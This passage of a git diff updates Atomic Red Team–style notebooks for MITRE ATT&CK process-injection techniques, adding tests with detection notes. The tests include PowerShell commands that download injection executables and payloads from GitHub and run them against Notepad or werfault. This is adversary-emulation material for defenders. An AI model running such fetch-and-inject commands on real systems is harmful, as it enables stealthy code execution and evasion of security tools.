Bind System Shell using UsoClient DLL load technique", @@ -58,14 +58,14 @@ { "cell_type": "code", "execution_count": null, - "id": "f4a0bac2", + "id": "356399e6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "c9f74461", + "id": "eaad7b1c", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -73,13 +73,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1055.002.ipynb b/playbook/tactics/privilege-escalation/T1055.002.ipynb index fef05747..d32e6e36 100644 --- a/playbook/tactics/privilege-escalation/T1055.002.ipynb +++ b/playbook/tactics/privilege-escalation/T1055.002.ipynb @@ -2,19 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "b83fbc81", + "id": "d211e796", "metadata": {}, "source": "# T1055.002 - Portable Executable Injection\nAdversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "61612c29", + "id": "6733a0ad", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2b9603f1", + "id": "d9b69bb0", + "metadata": {}, + "source": "### Atomic Test #1 - Portable Executable Injection\nThis test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. When successful, a message box will appear with the title \"Warning\" and the content \"Atomic Red Team\" after a few seconds.\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Portable Executable to inject must exist at specified location (#{exe_binary})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1055.002\\bin\\RedInjection.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1055.002\\bin\\RedInjection.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.002/bin/RedInjection.exe\" -OutFile \"PathToAtomicsFolder\\T1055.002\\bin\\RedInjection.exe\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c0b5a813", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.002 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "3b87468f", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nStart-Process \"PathToAtomicsFolder\\T1055.002\\bin\\RedInjection.exe\"\nStart-Sleep -Seconds 7\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1dd007ea", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.002 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "c5ea705d", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e7d87da4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.002 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "13a6bd6b", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -22,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1055.003.ipynb b/playbook/tactics/privilege-escalation/T1055.003.ipynb index dc8d9bea..208ef5d1 100644 --- a/playbook/tactics/privilege-escalation/T1055.003.ipynb +++ b/playbook/tactics/privilege-escalation/T1055.003.ipynb @@ -2,53 +2,39 @@ "cells": [ { "cell_type": "markdown", - "id": "0b1f1ce4", + "id": "fa95b05d", "metadata": {}, "source": "# T1055.003 - Thread Execution Hijacking\nAdversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "2ace2e19", + "id": "d4a64b25", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ac41dd5f", + "id": "f4e8a3d9", "metadata": {}, "source": [ "### Atomic Test #1 - Thread Execution Hijacking", "This test injects a MessageBox shellcode generated by msfvenom in Notepad.exe using Thread Execution Hijacking. When successful, a message box will appear with the \"Atomic Red Team\" caption after one or two seconds. ", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$notepad = Start-Process notepad -passthru\nStart-Process $PathToAtomicsFolder\\T1055.003\\bin\\InjectContext.exe```" + "```powershell\n$notepad = Start-Process notepad -passthru\nStart-Process \"$PathToAtomicsFolder\\T1055.003\\bin\\InjectContext.exe\"\nStart-Sleep -Seconds 5\nStop-Process $notepad.id```" ] }, { "cell_type": "code", "execution_count": null, - "id": "452771e9", + "id": "cfc0cf9d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "cb053f27", - "metadata": {}, - "source": "#### Cleanup: \n```powershell\nStop-Process $notepad.pid```" - }, - { - "cell_type": "code", - "execution_count": null, - "id": "42cfee48", - "metadata": {}, - "outputs": [], - "source": "Invoke-AtomicTest T1055.003 -TestNumbers 1 -Cleanup" - }, - { - "cell_type": "markdown", - "id": "4c3b326c", + "id": "b6f80ac8", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -56,13 +42,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1055.004.ipynb b/playbook/tactics/privilege-escalation/T1055.004.ipynb index 538f91e3..feda6d98 100644 --- a/playbook/tactics/privilege-escalation/T1055.004.ipynb +++ b/playbook/tactics/privilege-escalation/T1055.004.ipynb @@ -2,50 +2,120 @@ "cells": [ { "cell_type": "markdown", - "id": "c1a090c7", + "id": "44a412ab", "metadata": {}, "source": "# T1055.004 - Asynchronous Procedure Call\nAdversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "3e3e14b6", + "id": "e1369c08", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "0c3164d1", + "id": "6923f060", "metadata": {}, - "source": "### Atomic Test #1 - Process Injection via C#\nProcess Injection using C#\nreference: https://github.com/pwndizzle/c-sharp-memory-injection\nExcercises Five Techniques\n1. Process injection\n2. ApcInjectionAnyProcess\n3. ApcInjectionNewProcess\n4. IatInjection\n5. ThreadHijack\nUpon successful execution, cmd.exe will execute T1055.exe, which exercises 5 techniques. Output will be via stdout.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{exe_binary} must be exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.004/bin/T1055.exe\" -OutFile \"PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe\"\n\n```" + "source": "### Atomic Test #1 - Process Injection via C#\nProcess Injection using C#\nreference: https://github.com/pwndizzle/c-sharp-memory-injection\nExcercises Five Techniques\n1. Process injection\n2. ApcInjectionAnyProcess\n3. ApcInjectionNewProcess\n4. IatInjection\n5. ThreadHijack\nUpon successful execution, cmd.exe will execute T1055.exe, which exercises 5 techniques. Output will be via stdout.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{exe_binary} must be exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.004/bin/T1055.exe\" -OutFile \"PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "440aa6d0", + "id": "007a8a5a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "581b23c3", + "id": "0038edd9", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1055.004\\bin\\T1055.exe\n```" + "```command_prompt\n\"PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "6f4577d4", + "id": "b0c1400b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c867e657", + "id": "0a029239", + "metadata": {}, + "source": [ + "### Atomic Test #2 - EarlyBird APC Queue Injection in Go", + "Creates a process in a suspended state and calls QueueUserAPC WinAPI to add a UserAPC to the child process that points to allocated shellcode. \nResumeThread is called which then calls NtTestAlert to execute the created UserAPC which then executes the shellcode.\nThis technique allows for the early execution of shellcode and potentially before AV/EDR can hook functions to support detection.\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)\n- References: \n - https://www.bleepingcomputer.com/news/security/early-bird-code-injection-technique-helps-malware-stay-undetected/\n - https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055.004\\bin\\x64\\EarlyBird.exe -program \"C:\\Windows\\System32\\werfault.exe\" -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "727364c6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.004 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "342eb7ef", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\nStop-Process -Name \"werfault\" -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "dd29a001", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.004 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "72dd9f01", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Remote Process Injection with Go using NtQueueApcThreadEx WinAPI", + "Uses the undocumented NtQueueAPCThreadEx WinAPI to create a \"Special User APC\" in the current thread of the current process to execute shellcode. \nSince the shellcode is loaded and executed in the current process it is considered local shellcode execution.\n\nSteps taken with this technique\n1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space\n3. Change the memory page permissions to Execute/Read with VirtualProtect\n4. Get a handle to the current thread\n5. Execute the shellcode in the current thread by creating a Special User APC through the NtQueueApcThreadEx function\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)\n- References:\n - https://repnz.github.io/posts/apc/user-apc/\n - https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html\n - https://0x00sec.org/t/process-injection-apc-injection/24608\n - https://twitter.com/aionescu/status/992264290924032005\n - http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055.004\\bin\\x64\\NtQueueApcThreadEx.exe -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0ebe6006", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.004 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "97388662", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a3fb7931", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.004 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "264e94f4", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -53,13 +123,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1055.005.ipynb b/playbook/tactics/privilege-escalation/T1055.005.ipynb index 984e302a..dca83b02 100644 --- a/playbook/tactics/privilege-escalation/T1055.005.ipynb +++ b/playbook/tactics/privilege-escalation/T1055.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "7ac41283", + "id": "6325da91", "metadata": {}, "source": "# T1055.005 - Thread Local Storage\nAdversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "b6f68b8c", + "id": "e239fcbc", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a991fc91", + "id": "2f728c75", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1055.008.ipynb b/playbook/tactics/privilege-escalation/T1055.008.ipynb index 9a839ca1..abfee900 100644 --- a/playbook/tactics/privilege-escalation/T1055.008.ipynb +++ b/playbook/tactics/privilege-escalation/T1055.008.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b47cb18e", + "id": "fe11e7ef", "metadata": {}, "source": "# T1055.008 - Ptrace System Calls\nAdversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "ea5774e2", + "id": "bc3e2657", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "aeff1215", + "id": "a5948890", "metadata": {}, "source": "## Detection\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1055.009.ipynb b/playbook/tactics/privilege-escalation/T1055.009.ipynb index a04af6f9..c6df35f2 100644 --- a/playbook/tactics/privilege-escalation/T1055.009.ipynb +++ b/playbook/tactics/privilege-escalation/T1055.009.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "1c84d6c0", + "id": "b06a42bd", "metadata": {}, "source": "# T1055.009 - Proc Memory\nAdversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "441e35e0", + "id": "011c65e7", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "f7b968c5", + "id": "348a3b66", "metadata": {}, "source": "## Detection\nFile system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1055.011.ipynb b/playbook/tactics/privilege-escalation/T1055.011.ipynb index f7c562e5..164b1001 100644 --- a/playbook/tactics/privilege-escalation/T1055.011.ipynb +++ b/playbook/tactics/privilege-escalation/T1055.011.ipynb @@ -2,19 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "8d7983c0", + "id": "5d28d95a", "metadata": {}, "source": "# T1055.011 - Extra Window Memory Injection\nAdversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "fe16e16b", + "id": "0823f9a7", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "1bec713a", + "id": "d30b1c2a", + "metadata": {}, + "source": "### Atomic Test #1 - Process Injection via Extra Window Memory (EWM) x64 executable\nHooks functions of main process to inject a payload via Extra Window Memory (EWM) injection technique\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: T1055.011x64.exe and payload must exist on disk at specified location (#{exe_binary} and #{payload_file})\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1055.011\\bin\\T1055.011_#{arch}.exe) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1055.011\\bin\\T1055.011_#{arch}.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/T1055.011_x64.exe\" -OutFile \"PathToAtomicsFolder\\T1055.011\\bin\\T1055.011_#{arch}.exe\" -UseBasicParsing\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/payload.exe_x64.bin\" -OutFile \"PathToAtomicsFolder\\T1055.011\\bin\\payload.exe_#{arch}.bin\" -UseBasicParsing\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3ae66438", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.011 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "d38eb382", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nPathToAtomicsFolder\\T1055.011\\bin\\T1055.011_#{arch}.exe```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cd5a009d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.011 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "cafcdafc", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "43059fa0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.011 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "e6755eb5", "metadata": {}, "source": "## Detection\nMonitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)" } @@ -22,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", 